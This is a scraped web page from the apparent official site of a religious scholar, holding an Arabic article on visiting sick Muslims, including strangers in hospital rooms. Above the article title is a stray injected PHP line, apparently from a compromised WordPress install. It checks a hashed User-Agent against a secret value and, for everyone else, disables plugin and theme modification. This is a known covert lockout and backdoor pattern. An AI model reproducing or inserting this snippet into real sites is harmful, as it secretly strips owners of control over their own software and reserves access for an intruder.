if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } هل عيادة المريض خاصة بمن تعرف؟ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

هل عيادة المريض خاصة بمن تعرف؟

مما يُلحظ على بعض المسلمين أنه ربما عاد مريضًا وفي الغرفة مريضٌ من المسلمين وربما أكثر فلم يعرج ولم يلتفت إليه ولا شك أن هذا قصورٌ عظيمٌ، مر بنا أن الراجح أن عيادة المريض من فروض الكفايات، قد يكون هذا المريض من بلدٍ بعيد لا يوجد في البلد له قريبٌ ولا صديق، وهذا موجود في المستشفيات، وافد وحصل له حادث في البلد وأهله أو قرابته أو أصدقاؤه في بلد آخر، فيُنَوم ربما الشهور ما يأتيه أحد ويدخل أهل الإسلام على مريضهم يسلمون عليه وينفسون له في الأجل ويكرمونه ويزدحمون عنده، وهذا المريض في طرف الغرفة ما يلتفت إليه أحد يسلم عليه ويسأل عنه ويطمأن عليه، أليس هذا من حقوق المسلم على أخيه؟! هل عيادة المريض خاصةٌ بمن تعرف؟ هي مثل السلام، السلام سبق أنه يسلم المسلم على من يعرف ومن لا يعرف، كذلك عيادة المريض ربما وجب هذا وتعين؛ لأن هذا المريض الذي لا يعوده أحد وأنت علمت به ووصلت إلى المستشفى يتعين عليك، وأمر ذلك سهل بيّن إذ مريضك غالبًا يعطيك خبرٌ عنه، قل: من معك في الغرفة، يمكن يكون هذا المسكين ما أحد يجيه أبدًا، ما له أحد فيتأكد حينئذٍ عيادته، وحتى لو كان يعوده أحد، إذا كنت دخلت الغرفة وليس عنده أهله فالسلام عليه ولو دقيقة أو أقل من دقيقة، السلام، كيف حالك؟ أسأل الله أن يجمع لك بين الأجر والعافية وأن يشفيك شفاءً لا يغادر سقمًا، كلمتين تخفف نفسيته ويشعر بأن أهل الإسلام معه، أما الجفاء فإن هذا لا يليق بأهل الإسلام ولا يتحقق به الواجب الكفائي؛ فإن الواجب الكفائي إذا قام به من يكفي سقط فرضه عن الباقيين، هذا ربما ما قام به أحد.